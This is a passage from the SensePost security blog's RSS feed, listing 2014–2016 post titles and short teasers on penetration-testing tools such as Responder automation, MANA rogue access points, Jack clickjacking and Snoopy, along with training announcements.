				<link>https://sensepost.com/blog/2016/sensepost-maltego-toolkit-skyper/</link>
				<pubDate>Mon, 11 Jan 2016 14:47:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/sensepost-maltego-toolkit-skyper/</guid>
				<description>&lt;p&gt;Collecting and performing Open Source Intelligence (OSINT) campaigns from a wide array of public sources means ensuring your sources contain the most up to date information relating to your target. Skype, with over 300 million users, can be a vital source if used correctly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2016/sensepost-maltego-toolkit-skyper/63799115d2b6221c759d030e873bc5ec.png&#34; rel=&#34;attachment wp-att-13931&#34;&gt;&lt;img alt=&#34;Screenshot (22)&#34;  height=&#34;191&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2016/sensepost-maltego-toolkit-skyper/56b737e3358b4b712252dc4b2f751b02.png&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The above graphic shows over 70 million active members and over 500 million users that have registered!.&lt;/p&gt;&#xA;&lt;p&gt;As with all things online, many users leak sensitive information about themselves that those with the right skills, could harvest.&lt;/p&gt;</description>
			</item>
			<item>
				<title>(local) AutoResponder</title>
				<link>https://sensepost.com/blog/2015/local-autoresponder/</link>
				<pubDate>Fri, 11 Dec 2015 09:55:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/local-autoresponder/</guid>
				<description>&lt;p&gt;When doing internals, usually an easy first step is to use Responder and wait to retrieve NTLM hashes, cracking them and hoping for a weak password.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that sometimes fancy cracking rigs might not be available, it might be a mess to copy/paste all those hashes, send them, wait for an answer where you could already do some work locally, without any effort. We&amp;#8217;re all lazy, and I&amp;#8217;m even more lazy. That&amp;#8217;s why I decided doing this project.&lt;/p&gt;</description>
			</item>
			<item>
				<title>AutoDane at BSides Cape Town</title>
				<link>https://sensepost.com/blog/2015/autodane-at-bsides-cape-town/</link>
				<pubDate>Mon, 07 Dec 2015 13:43:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/autodane-at-bsides-cape-town/</guid>
				<description>&lt;p&gt;Given the prevalence of Microsoft Active Directory domains as the primary means of managing large corporate networks both globally and in South Africa specifically; one of the common first goals of many internal penetration tests is to get Domain Administrator (DA) level access. To assist with this, a plethora of tools and techniques exist, from the initial &amp;#8220;in&amp;#8221; through to elevation of privilege and eventually extracting and cracking all domain credentials.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Into The Cloud</title>
				<link>https://sensepost.com/blog/2015/into-the-cloud/</link>
				<pubDate>Wed, 25 Nov 2015 08:59:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/into-the-cloud/</guid>
				<description>&lt;h1&gt;SensePost Training in the Cloud&lt;/h1&gt;&#xA;&lt;p&gt;Picture this. Every year, a group of Plakkers (our nickname for those who work at SensePost) descended into Las Vegas with more luggage than Imelda Marcos on a shoe shopping spree. In recent years, our kit list was immense. 200+ laptops, 25 servers, screens, switches and more backup disks than one should ever carry past TSA. Often we got there days before Blackhat started and spent 24 hours making sure our networks and servers started (inevitably they never did, which meant late nights debugging).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wadi Fuzzer</title>
				<link>https://sensepost.com/blog/2015/wadi-fuzzer/</link>
				<pubDate>Fri, 23 Oct 2015 07:10:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/wadi-fuzzer/</guid>
				<description>&lt;blockquote&gt;&lt;p&gt;&amp;#8220;Operating system facilities, such as the kernel and utility programs, are typically assumed to be reliable. In our recent experiments, we have been able to crash 25-33% of the utility programs on any version of UNIX that was tested.&amp;#8221; [1]&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Those were the original words in one of the first fuzzing studies where Prof. Barton Miller was first to use the term &amp;#8216;fuzzing&amp;#8217;&lt;/p&gt;&#xA;&lt;p&gt;One can see the importance of fuzzing as one of the techniques used to test software security against malformed input leading to crashes and in some cases exploitable bugs.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Abusing File Converters</title>
				<link>https://sensepost.com/blog/2015/abusing-file-converters/</link>
				<pubDate>Thu, 01 Oct 2015 11:26:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/abusing-file-converters/</guid>
				<description>&lt;p&gt;Every now and then you run into a new file format and you find that you may not have a tool to parse that file. Or you are looking for an easy to use solution for you mom to access the photo’s you sent her in a .tar archive. This is where file conversion services come in, a quick Google for “online file converter” will yield multiple results. One thing to keep in mind when converting files, is that different file formats may support different features.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hi Jack!</title>
				<link>https://sensepost.com/blog/2015/hi-jack/</link>
				<pubDate>Tue, 08 Sep 2015 08:15:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/hi-jack/</guid>
				<description>&lt;p&gt;No, this post is not about a Leon Schuster comedic skit from the early 90&amp;#8217;s, YouTube reference here -&amp;gt; &lt;a href=&#34;https://www.youtube.com/watch?v=JzoUBvdEk1k&#34;&gt;https://www.youtube.com/watch?v=JzoUBvdEk1k&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To the point, once upon a time there was a tool called Jack which attempted to make ClickJacking PoC&amp;#8217;ing a tad sexier and made it&amp;#8217;s way to &lt;a href=&#34;https://www.blackhat.com/eu-15/arsenal.html#jack&#34;&gt;Black Hat EU 2015 Arsenal&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Some time has passed now since Jack was &lt;a href=&#34;https://www.sensepost.com/blog/2014/demonstrating-clickjacking-with-jack/&#34;&gt;first released&lt;/a&gt; and was time for Jack to get some attention alas a new version of Jack has been released and can be found here, &lt;a href=&#34;https://github.com/sensepost/jack&#34;&gt;https://github.com/sensepost/jack&lt;/a&gt; .&lt;/p&gt;</description>
			</item>
			<item>
				<title>[Another] Intercepting Proxy</title>
				<link>https://sensepost.com/blog/2015/another-intercepting-proxy/</link>
				<pubDate>Thu, 03 Sep 2015 15:14:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/another-intercepting-proxy/</guid>
				<description>&lt;h1&gt;But, Websockets!&lt;/h1&gt;&#xA;&lt;p&gt;The last week I was stuck on a web-app assessment where everything was new-age HTML5, with AngularJS and websockets. Apart from the login sequence, all communication happened through websockets. Now intercepting websockets can be done in Burp and you can modify the requests/responses as you wish. There were however multiple issues with this.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Polling &amp;#8211; the webapp did a &amp;#8216;ping&amp;#8217; request and if this was held up (intercept in burp) the app would timeout and I had to start from scratch. This timeout period was relatively aggressive, so by the time I finished modifying a request, the app had timed out and my changes meant squat.&lt;/li&gt;&#xA;&lt;li&gt;Intercept/Replace rules- ping messages were irritating and Burp had no way to not intercept these.  It also wasn&amp;#8217;t possible to configure out replace rules. And according to this, it isn&amp;#8217;t coming to Burp anytime soon&amp;#8230; &lt;a href=&#34;https://support.portswigger.net/customer/portal/questions/11577304-replace-text-in-websocket-operations&#34;&gt;https://support.portswigger.net/customer/portal/questions/11577304-replace-text-in-websocket-operations&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Replay/Intruder &amp;#8211; there is no way to replay a websocket request in Burp. This also means no Intruder :(&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;At this junction, three options were available to me. Use ZAP (which does have intercept rules but not replay/replace/intruder). Use Internet Explorer and force the app into non-websocket mode or write a custom proxy. So the choice was obvious, write a custom proxy.&lt;/p&gt;</description>
			</item>
			<item>
				<title>WiFi De-authentication Rifle:</title>
				<link>https://sensepost.com/blog/2015/wifi-de-authentication-rifle/</link>
				<pubDate>Mon, 13 Jul 2015 10:53:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/wifi-de-authentication-rifle/</guid>
				<description>&lt;p&gt;Wireless: it&amp;#8217;s everywhere these days and yet owning it never gets boring.&lt;/p&gt;&#xA;&lt;p&gt;As part of our annual SensePost hackathon, where we get time off projects and get to spend a week tinkering with tech and ideas, the team I was in, consisting of Dominic, Nathi and myself, decided on creating a wireless rifle de-authentication gun, which utilized a yagi antenna and a Raspberry Pi.&lt;/p&gt;&#xA;&lt;p&gt;The idea was simple: simulate some of the tools available in aircrack-ng wireless hacking suite in one script &lt;strong&gt;but&lt;/strong&gt; without utilizing aircrack-ng in the process.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mobile Application Bootcamp – Journeyman Level – Black Hat Vegas 2015</title>
				<link>https://sensepost.com/blog/2015/mobile-application-bootcamp-journeyman-level-black-hat-vegas-2015/</link>
				<pubDate>Fri, 12 Jun 2015 13:51:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/mobile-application-bootcamp-journeyman-level-black-hat-vegas-2015/</guid>
				<description>&lt;p&gt;Mobile Course, O RLY?&lt;/p&gt;&#xA;&lt;p&gt;The mobile app market, and app usage, grew 76% in 2014 [1].&lt;/p&gt;&#xA;&lt;p&gt;From shopping, utilities, productivity and health apps. Flurry, the mobile app analytics firm responsible for the survey, tracked 2.079 trillion app sessions, with a daily session record taking place on December 31st with 8.5 billion sessions as people celebrated New Year’s Eve. We are placing more information online via mobile apps than ever before, but, what does it mean in terms of security?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Running sslscan on 5k servers taken from Alexa’s top 10k</title>
				<link>https://sensepost.com/blog/2015/running-sslscan-on-5k-servers-taken-from-alexas-top-10k/</link>
				<pubDate>Tue, 09 Jun 2015 09:16:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/running-sslscan-on-5k-servers-taken-from-alexas-top-10k/</guid>
				<description>&lt;p&gt;Transport layer security has had a rough ride recently, with a number of vulnerabilities being reported. At a time when trust is required between you and the site you are interacting with, it&amp;#8217;s key that website owners configure their sites to be as secure as possible.&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, I decided to analyse &lt;a href=&#34;https://paulsec.github.io/blog/2014/05/13/http-security-headers-on-top-10k-alexa-websites/&#34;&gt;HTTP Security Headers from the top 10k Alexa websites&lt;/a&gt;, and look at what  SSL Ciphers were being used on those websites.&lt;/p&gt;</description>
			</item>
			<item>
				<title>We need you to analyse the threats</title>
				<link>https://sensepost.com/blog/2015/we-need-you-to-analyse-the-threats/</link>
				<pubDate>Tue, 05 May 2015 09:41:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/we-need-you-to-analyse-the-threats/</guid>
				<description>&lt;p&gt;Our Intelligence service team is growing and we are looking for a Threat Analyst to join us. Not only is the working environment pretty cool, the work you&amp;#8217;ll be doing means you&amp;#8217;ll be learning a lot and also working with some really smart people who are happy to share what they know. We also have &lt;em&gt;&lt;strong&gt;great&lt;/strong&gt;&lt;/em&gt; coffee.&lt;/p&gt;&#xA;&lt;p&gt;This role is perfect for that person who literally gets excited about the thought of unpacking an attack, figuring out how they achieved what they did and then taking that information and creating practical defence guides and advice for our clients. If this sounds like you, send me an &lt;a href=&#34;mailto:jobs@sensepost.com&#34;&gt;e-mail&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Maltego Webinar Series: Episode 01, Introduction</title>
				<link>https://sensepost.com/blog/2015/maltego-webinar-series-episode-01-introduction/</link>
				<pubDate>Mon, 20 Apr 2015 21:12:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/maltego-webinar-series-episode-01-introduction/</guid>
				<description>&lt;p&gt;Hello Internet,&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;re going to be hosting monthly Maltego webinar sessions, and our first one is this Friday (24th April)! Being our first episode we&amp;#8217;re going to start with the basics of the basics. Our agenda is as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is Maltego?&lt;/li&gt;&#xA;&lt;li&gt;Why Maltego?&lt;/li&gt;&#xA;&lt;li&gt;Where can I get it?&lt;/li&gt;&#xA;&lt;li&gt;How does this user interface work?&lt;/li&gt;&#xA;&lt;li&gt;What are these Maltego terms and buzzwords?&lt;/li&gt;&#xA;&lt;li&gt;What&amp;#8217;s a transform and how I can run one?&lt;/li&gt;&#xA;&lt;li&gt;Bonus round!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Sign up here if you&amp;#8217;d like to join us:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Lovely Pwnies – Twitter Monitor</title>
				<link>https://sensepost.com/blog/2015/lovely-pwnies-twitter-monitor/</link>
				<pubDate>Fri, 10 Apr 2015 12:40:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/lovely-pwnies-twitter-monitor/</guid>
				<description>&lt;p&gt;Recently there were &lt;a href=&#34;http://www.mirror.co.uk/news/technology-science/technology/gchqs-lovely-horse-tool-helped-5133474&#34;&gt;revelations&lt;/a&gt; about a GHCQ initiative called &lt;strong&gt;&amp;#8216;Lovely Horses&amp;#8217;&lt;/strong&gt; to monitor certain hackers&amp;#8217; Twitter handles. The guys over at Paterva quickly whipped up a Maltego Machine to replicate this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://maltego.blogspot.co.uk/2015/02/building-your-own-lovelyhorse.html&#34;&gt;Building your own LovelyHorse monitoring system with Maltego (even the free version) &amp;#8211; it&amp;#8217;s easy!&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;ve wrapped some supporting transforms around that Machine to allow you to create and manage your own set of lovely horses (Twitter accounts), and dubbed it &lt;strong&gt;&amp;#8216;Lovely Pwnies&amp;#8217;&lt;/strong&gt;. You can obtain the transforms and original Machine via the new Maltego &lt;a href=&#34;http://maltego.blogspot.co.uk/2015/03/maltego-chlorine-is-ready-for-download.html&#34;&gt;Transform Hub&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Break the Web at BlackHat Singapore</title>
				<link>https://sensepost.com/blog/2015/break-the-web-at-blackhat-singapore/</link>
				<pubDate>Mon, 09 Mar 2015 13:04:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/break-the-web-at-blackhat-singapore/</guid>
				<description>&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Web application security training in 2015?&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;It&amp;#8217;s a valid question we get asked sometimes. With the amount of books available on the subject, the tools that seemingly automate the process coupled with the fact that findings bugs in web apps should be harder now that frameworks and developers are more likely to produce secure code, is there a need to still train people up in the art of application exploitation?&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Training</title>
				<link>https://sensepost.com/blog/2015/sensepost-training/</link>
				<pubDate>Wed, 04 Mar 2015 11:20:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/sensepost-training/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2015/sensepost-training/8fa23889e61748a291f05a2de55f9d91.png&#34;&gt;&lt;img alt=&#34;sensepost_blackhat&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2015/sensepost-training/6a8202f2a4e410bc918218ba632083d0.png&#34; width=&#34;213&#34; /&gt;&lt;/a&gt;Over those years, we’ve trained thousands of students in the art of offensive and defensive security through our Hacking by Numbers courses.&lt;/p&gt;&#xA;&lt;p&gt;Our courses are taken directly from the work we do. When we compromise networks, or applications with new techniques, they’re turned into modules in the appropriate course. We also don’t use trainers; every course is given by one of our analysts to keep it authentic.&lt;/p&gt;&#xA;&lt;p&gt;For our fifteenth year, we’ve decided it was time to retire the ‘Hacking by Numbers’ name and just call it was it really always has been: SensePost Training.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Improvements in Rogue AP attacks – MANA 1/2</title>
				<link>https://sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1/2/</link>
				<pubDate>Mon, 23 Feb 2015 08:30:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1/2/</guid>
				<description>&lt;p&gt;At Defcon 22 we presented several improvements in wifi rogue access point attacks. We entitled the talk &amp;#8220;Manna from heaven&amp;#8221; and released the MANA toolkit. I&amp;#8217;ll be doing two blog entries. The first will describe the improvements made at a wifi layer, and the second will cover the network credential interception stuff. If you just want the goodies, you can get them at the end of this entry for the price of scrolling down.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Commercial Snoopy Launch!  [ ShadowLightly ]</title>
				<link>https://sensepost.com/blog/2015/commercial-snoopy-launch-shadowlightly/</link>
				<pubDate>Fri, 16 Jan 2015 18:42:04 +0000</pubDate>
				<guid>https://sensepost.com/blog/2015/commercial-snoopy-launch-shadowlightly/</guid>
				<description>&lt;p&gt;Hello world!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;ve been busy squireling away on a much requested project &amp;#8211; a commercial Snoopy offering. We&amp;#8217;ve called it &lt;strong&gt;ShadowLightly&lt;/strong&gt;, and we&amp;#8217;d like to invite you to join the beta explorer program. We&amp;#8217;re going to offer ten 3-month trials to the site (you&amp;#8217;d need to buy sensors / build your own), and in return we&amp;#8217;d ask that you help us debug any issues. To apply, please email &lt;strong&gt;explorer@shadowlightly.com&lt;/strong&gt; &amp;#8211; introduce yourself, and tell us a little about why you&amp;#8217;d like to join the program.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Demonstrating ClickJacking with Jack</title>
				<link>https://sensepost.com/blog/2014/demonstrating-clickjacking-with-jack/</link>
				<pubDate>Mon, 15 Sep 2014 09:51:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/demonstrating-clickjacking-with-jack/</guid>
				<description>&lt;p&gt;Jack is a tool I created to help build Clickjacking PoC&amp;#8217;s. It uses basic HTML and Javascript and can be found on github, &lt;a href=&#34;https://github.com/sensepost/Jack&#34;&gt;https://github.com/sensepost/Jack&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To use Jack, load Jack&amp;#8217;s HTML,CSS and JS files using the method of your choice and navigate to Jack&amp;#8217;s index.html.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2014/demonstrating-clickjacking-with-jack/0b3d69d505f5bc2041842110ea748d26.png&#34;&gt;&lt;img alt=&#34;jackHome&#34;  height=&#34;360&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/demonstrating-clickjacking-with-jack/90317a32f926f48a8a8818a2e64d68b8.png&#34; width=&#34;474&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Jack comes with three additional pages; sandbox.html, targetLogin.html and targetRead.html. targetRead.html can be used to demonstrate Clickjacking that reads values from a page and sandbox.html is used to display the Clickjacking demonstration. Jack by default loads the &amp;#8220;Read&amp;#8221; html page with default CSS and Styles.&lt;/p&gt;</description>
			</item>
			<item>
				<title>DefCon 22 – Practical Aerial Hacking &amp; Surveillance</title>
				<link>https://sensepost.com/blog/2014/defcon-22-practical-aerial-hacking-surveillance/</link>
				<pubDate>Sun, 10 Aug 2014 02:07:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/defcon-22-practical-aerial-hacking-surveillance/</guid>
				<description>&lt;p&gt;Hello from Las Vegas! Yesterday &lt;em&gt;(ed: uh, last week, my bad)&lt;/em&gt; I gave a talk at &lt;a href=&#34;https://www.defcon.org/html/defcon-22/dc-22-speakers.html#Wilkinson&#34;&gt;DefCon 22&lt;/a&gt; entitled &amp;#8216;&lt;em&gt;Practical Aerial Hacking &amp;amp; Surveillance&lt;/em&gt;&amp;#8216;. If you missed the talk the slides are available &lt;a href=&#34;https://www.dropbox.com/s/j781r36krw8ulae/GRW_DefConSlides_2014.pdf&#34;&gt;here&lt;/a&gt;. Also, I&amp;#8217;m releasing a paper I wrote as part of the talk entitled &amp;#8216;&lt;em&gt;Digital Terrestrial Tracking: The Future of Surveillance&lt;/em&gt;&amp;#8216;, click &lt;a href=&#34;https://introonet.sensepost.com/blog/wp-content/uploads/2014/08/GRW_DefCon22.pdf&#34;&gt;here&lt;/a&gt; to download it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2014/defcon-22-practical-aerial-hacking-surveillance/e2b1656262b49bf94124c58e89fb0f9e.jpg&#34;&gt;&lt;img alt=&#34;Whiskey shot!&#34;  height=&#34;199&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/defcon-22-practical-aerial-hacking-surveillance/41e8c5ae3938e659e72c2a32088d6317.jpg&#34; width=&#34;300&#34; /&gt;&lt;/a&gt; Whiskey shot!&lt;/p&gt;&#xA;&lt;p&gt;The Snoopy code is available on our &lt;a href=&#34;https://github.com/sensepost/snoopy-ng&#34;&gt;GitHub&lt;/a&gt; account, and you can join the mailing list &lt;a href=&#34;groups.google.com/forum/#!forum/sensepost-snoopy&#34;&gt;here&lt;/a&gt;. Also, congratulations to &lt;a href=&#34;https://twitter.com/AmandersLPD&#34;&gt;@AmandersLPD&lt;/a&gt; for winning our &lt;a href=&#34;https://twitter.com/search?q=%23SnoopySensor&amp;amp;src=typd&#34;&gt;#SnoopySensor&lt;/a&gt; competition! You can see the output of our *amazing* PRNG in action below: &lt;a href=&#34;https://www.youtube.com/watch?v=cPG6KCe4ibQ&#34;&gt;&lt;img alt=&#34;defConWinrar&#34;  height=&#34;225&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/defcon-22-practical-aerial-hacking-surveillance/9697820e89062d1654b4076309c1642b.jpg&#34; width=&#34;300&#34; /&gt;&lt;/a&gt; I&amp;#8217;ll update this post to point to the DefCon video once they&amp;#8217;re released. In the meantime, the specifications of my custom quadcopter I had on stage are below:&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost partners with Paterva to offer improved security intelligence</title>
				<link>https://sensepost.com/blog/2014/sensepost-partners-with-paterva-to-offer-improved-security-intelligence/</link>
				<pubDate>Mon, 04 Aug 2014 21:24:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/sensepost-partners-with-paterva-to-offer-improved-security-intelligence/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2014/sensepost-partners-with-paterva-to-offer-improved-security-intelligence/109793cc892e2d34623bd07d351f9104.png&#34;&gt;&lt;img alt=&#34;SENSEPOST PNG on clear&#34;  height=&#34;197&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/sensepost-partners-with-paterva-to-offer-improved-security-intelligence/b878038062463921e0ad48f8126c9150.png&#34; width=&#34;225&#34; /&gt;&lt;/a&gt; We&amp;#8217;ve been big fans of Maltego and the team at Paterva for a very long time now,  and we frequently use this powerful tool for all kinds of fun and interesting stuff, like&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://sensepost.com/blog/10647.html&#34; target=&#34;_blank&#34;&gt;Using Maltego to explore threat &amp;amp; vulnerability data&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://www.sensepost.com/blog/7557.html&#34; target=&#34;_blank&#34;&gt;Snoopy: A distributed tracking and profiling framework&lt;/a&gt;,&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://www.sensepost.com/blog/4552.html&#34; target=&#34;_blank&#34;&gt;&amp;#8216;Scraping&amp;#8217; time servers&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://singe.za.net/blog/archives/976-Using-Maltego-to-Data-Mine-Twitter.html&#34;&gt;Using Maltego to Data Mine Twitter&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;and even an analyse on the &lt;a href=&#34;https://twitter.com/dcuthbert/status/495210132218064896&#34; target=&#34;_blank&#34;&gt;Use of Social Media by ISIS&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We go way back with Andrew and Roelof, who was in fact a founder of SensePost, so today we&amp;#8217;re super excited to be able to announce a new, strengthened partnership with them under which we have been accredited as an Approved Maltego Solutions Provider. Basically this means the that with Paterva&amp;#8217;s help we plan to use the powerful Maltego toolset to become better at our job &amp;#8211; that is to provide information and information systems to our customer with which they can make sound security decisions. Here&amp;#8217;s the official news:&lt;/p&gt;</description>
			</item>
			<item>
				<title>The SensePost Academy: Wrecking Balls</title>
				<link>https://sensepost.com/blog/2014/the-sensepost-academy-wrecking-balls/</link>
				<pubDate>Fri, 27 Jun 2014 12:42:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/the-sensepost-academy-wrecking-balls/</guid>
				<description>&lt;p&gt;There is a serious skills shortage in our industry. There are just not enough skilled hackers out there to fill all the open positions. In November of last year, I proposed a new approach for us at SensePost to address these concerns. I looked at what we could do as a company to ensure the next generation of hackers were being educated correctly (no, it&amp;#8217;s not about how you use a tool) and moulded into what we, at SensePost, perceive to be good penetration testers.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Challenge – Winners and Walkthrough</title>
				<link>https://sensepost.com/blog/2014/sensepost-challenge-winners-and-walkthrough/</link>
				<pubDate>Fri, 27 Jun 2014 08:26:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/sensepost-challenge-winners-and-walkthrough/</guid>
				<description>&lt;p&gt;We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-black-ops.html&#34;&gt;BlackOps &amp;#8211; Our intermediate pentesting course&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-infrastructure-bootcamp.html&#34;&gt;Infrastructure Bootcamp &amp;#8211; Introduction to pwning over the Internet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html&#34;&gt;Mobile Bootcamp &amp;#8211; Introduction to mobile hacking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-web-applications-bootcamp.html&#34;&gt;Web Application Bootcamp &amp;#8211; Introduction to web app hacking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking Challenge: Drive a tank through it</title>
				<link>https://sensepost.com/blog/2014/hacking-challenge-drive-a-tank-through-it/</link>
				<pubDate>Thu, 19 Jun 2014 12:02:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/hacking-challenge-drive-a-tank-through-it/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2014/hacking-challenge-drive-a-tank-through-it/27a7dd9b3dc25c42db27a2e6b0603907.gif&#34;&gt;&lt;img alt=&#34;russia-dashboard-cam-tank-drives-across-road-snow-1359329911C&#34;  height=&#34;169&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/hacking-challenge-drive-a-tank-through-it/27a7dd9b3dc25c42db27a2e6b0603907.gif&#34; width=&#34;300&#34; /&gt;&lt;/a&gt; At SensePost we get to enjoy some challenging assessments and do pretty epic things.  Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks.  However, we know that there isn&amp;#8217;t always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We&amp;#8217;ve taken a few recent hacks and rolled them into one challenge, can you crack it?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Release the hounds! Snoopy 2.0</title>
				<link>https://sensepost.com/blog/2014/release-the-hounds-snoopy-2.0/</link>
				<pubDate>Fri, 13 Jun 2014 07:51:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/release-the-hounds-snoopy-2.0/</guid>
				<description>&lt;p&gt;&lt;img alt=&#34;theHounds&#34;  height=&#34;130&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/release-the-hounds-snoopy-2-0/484406ce5b062a8cd0590d06f9948592.jpg&#34; width=&#34;130&#34; /&gt;Friday the 13th seemed like as good a date as any to release Snoopy 2.0 (aka snoopy-ng). For those in a rush, you can download the source from &lt;a href=&#34;https://github.com/sensepost/snoopy-ng&#34;&gt;GitHub&lt;/a&gt;, follow the README.md file, and ask for help on &lt;a href=&#34;https://groups.google.com/forum/#!forum/sensepost-snoopy&#34; title=&#34;Snoopy-ng mailing list&#34;&gt;this mailing list&lt;/a&gt;. For those who want a bit more information, keep reading.&lt;/p&gt;&#xA;&lt;h2&gt;What is Snoopy?&lt;/h2&gt;&#xA;&lt;p&gt;Snoopy is a distributed, sensor, data collection, interception, analysis, and visualization framework. It is written in a modular format, allowing for the collection of arbitrary signals from various devices via Python plugins.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Using Maltego to explore threat &amp; vulnerability data</title>
				<link>https://sensepost.com/blog/2014/using-maltego-to-explore-threat-vulnerability-data/</link>
				<pubDate>Fri, 06 Jun 2014 01:52:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/using-maltego-to-explore-threat-vulnerability-data/</guid>
